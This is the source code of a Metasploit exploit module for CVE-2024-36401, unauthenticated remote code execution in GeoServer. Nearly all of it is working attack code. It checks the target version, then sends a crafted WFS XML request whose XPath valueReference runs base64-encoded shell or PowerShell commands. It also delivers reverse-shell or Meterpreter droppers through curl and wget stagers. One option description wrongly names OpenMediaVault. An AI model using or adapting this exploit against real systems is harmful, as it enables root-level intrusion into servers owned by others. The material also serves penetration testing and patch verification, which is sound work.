Geoserver Unauthenticated Remote Code Execution

### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Remote  Rank = ExcellentRanking  prepend Msf::Exploit::Remote::AutoCheck  include Msf::Exploit::Remote::HttpClient  include Msf::Exploit::CmdStager  def initialize(info = {})    super(      update_info(        info,        'Name' => 'Geoserver unauthenticated Remote Code Execution',        'Description' => %q{          GeoServer is an open-source software server written in Java that provides          the ability to view, edit, and share geospatial data.          It is designed to be a flexible, efficient solution for distributing geospatial data          from a variety of sources such as Geographic Information System (GIS) databases,          web-based data, and personal datasets.          In the GeoServer versions < 2.23.6, >= 2.24.0, < 2.24.4 and >= 2.25.0, < 2.25.1,          multiple OGC request parameters allow Remote Code Execution (RCE) by unauthenticated users          through specially crafted input against a default GeoServer installation due to unsafely          evaluating property names as XPath expressions.          An attacker can abuse this by sending a POST request with a malicious xpath expression          to execute arbitrary commands as root on the system.        },        'License' => MSF_LICENSE,        'Author' => [          'h00die-gr3y <h00die.gr3y[at]gmail.com>', # MSF module contributor          'jheysel-r7', # MSF module Windows support          'Steve Ikeoka' # Discovery        ],        'References' => [          ['CVE', '2024-36401'],          ['URL', 'https://github.com/geoserver/geoserver/security/advisories/GHSA-6jj6-gm7p-fcvv'],          ['URL', 'https://github.com/vulhub/vulhub/tree/master/geoserver/CVE-2024-36401'],          ['URL', 'https://attackerkb.com/topics/W6IDY2mmp9/cve-2024-36401']        ],        'DisclosureDate' => '2024-07-01',        'Platform' => ['unix', 'linux'],        'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64, ARCH_AARCH64, ARCH_ARMLE],        'Privileged' => true,        'Targets' => [          [            'Unix Command',            {              'Platform' => ['unix', 'linux'],              'Arch' => ARCH_CMD,              'Type' => :unix_cmd              # Tested with cmd/unix/reverse_bash            }          ],          [            'Linux Dropper',            {              'Platform' => ['linux'],              'Arch' => [ARCH_X86, ARCH_X64, ARCH_AARCH64, ARCH_ARMLE],              'Type' => :linux_dropper,              'Linemax' => 16384,              'CmdStagerFlavor' => ['curl', 'wget', 'echo', 'printf', 'bourne']              # Tested with linux/x64/meterpreter_reverse_tcp            }          ],          [            'Windows Command',            {              'Platform' => ['Windows'],              'Arch' => ARCH_CMD,              'Type' => :win_cmd              # Tested with cmd/windows/http/x64/meterpreter/reverse_tcp            }          ],        ],        'DefaultTarget' => 0,        'DefaultOptions' => {          'RPORT' => 8080,          'SSL' => false        },        'Notes' => {          'Stability' => [CRASH_SAFE],          'Reliability' => [REPEATABLE_SESSION],          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]        }      )    )    register_options(      [        OptString.new('TARGETURI', [true, 'The URI path of the OpenMediaVault web application', '/'])      ]    )  end  def check_version    print_status('Trying to detect if target is running a vulnerable version of GeoServer.')    res = send_request_cgi!({      'uri' => normalize_uri(target_uri.path, 'geoserver', 'web', 'wicket', 'bookmarkable', 'org.geoserver.web.AboutGeoServerPage'),      'keep_cookies' => true,      'method' => 'GET'    })    return nil unless res && res.code == 200 && res.body.include?('GeoServer Version')    html = res.get_html_document    unless html.blank?      # html identifier for Geoserver version information: <span id="version">2.23.2</span>      version = html.css('span[id="version"]')      return Rex::Version.new(version[0].text) unless version[0].nil?    end    nil  end  def get_valid_featuretype    allowed_feature_types = ['sf:archsites', 'sf:bugsites', 'sf:restricted', 'sf:roads', 'sf:streams', 'ne:boundary_lines', 'ne:coastlines', 'ne:countries', 'ne:disputed_areas', 'ne:populated_places']    res = send_request_cgi!({      'uri' => normalize_uri(target_uri.path, 'geoserver', 'wfs'),      'method' => 'GET',      'ctype' => 'application/xml',      'keep_cookies' => true,      'vars_get' => {        'request' => 'ListStoredQueries',        'service' => 'wfs'      }    })    return nil unless res && res.code == 200 && res.body.include?('ListStoredQueriesResponse')    xml = res.get_xml_document    unless xml.blank?      xml.remove_namespaces!      # get all the FeatureTypes and store them in an array of strings      retrieved_feature_types = xml.xpath('//ReturnFeatureType')      # shuffle the retrieved_feature_types array, and loop through the list of retrieved_feature_types from GeoServer      # return the feature type if a match is found in the allowed_feature_types array      retrieved_feature_types.to_a.shuffle.each do |feature_type|        return feature_type.text if allowed_feature_types.include?(feature_type.text)      end    end    nil  end  def create_payload(cmd)    # get a valid feature type and fail back to a default if not successful    feature_type = get_valid_featuretype    feature_type = 'sf:archsites' if feature_type.nil?    case target['Type']    when :unix_cmd || :linux_dropper      # create customised b64 encoded payload      # 'Encoder' => 'cmd/base64' does not work in this particular use case      cmd_b64 = Base64.strict_encode64(cmd)      cmd = "sh -c echo${IFS}#{cmd_b64}|base64${IFS}-d|sh"    when :win_cmd      enc_cmd = Base64.strict_encode64("cmd /C --% #{payload.encoded}".encode('UTF-16LE'))      cmd = "powershell.exe -e #{enc_cmd}"    end    return <<~EOS      <wfs:GetPropertyValue service='WFS' version='2.0.0'        xmlns:topp='http://www.openplans.org/topp'        xmlns:fes='http://www.opengis.net/fes/2.0'        xmlns:wfs='http://www.opengis.net/wfs/2.0'>          <wfs:Query typeNames="#{feature_type}"/>          <wfs:valueReference>exec(java.lang.Runtime.getRuntime(), "#{cmd}")</wfs:valueReference>      </wfs:GetPropertyValue>    EOS  end  def execute_command(cmd, _opts = {})    res = send_request_cgi({      'uri' => normalize_uri(target_uri.path, 'geoserver', 'wfs'),      'method' => 'POST',      'ctype' => 'application/xml',      'keep_cookies' => true,      'data' => create_payload(cmd)    })    fail_with(Failure::PayloadFailed, 'Payload execution failed.') unless res && res.code == 400 && res.body.include?('ClassCastException')  end  def check    version_number = check_version    return CheckCode::Unknown('Could not retrieve the version information.') if version_number.nil?    return CheckCode::Appears("Version #{version_number}") if version_number.between?(Rex::Version.new('2.25.0'), Rex::Version.new('2.25.1')) || version_number.between?(Rex::Version.new('2.24.0'), Rex::Version.new('2.24.3')) || version_number < Rex::Version.new('2.23.6')    CheckCode::Safe("Version #{version_number}")  end  def exploit    print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")    case target['Type']    when :unix_cmd, :win_cmd      execute_command(payload.encoded)    when :linux_dropper      # don't check the response here since the server won't respond      # if the payload is successfully executed.      execute_cmdstager({ linemax: target.opts['Linemax'] })    end  endend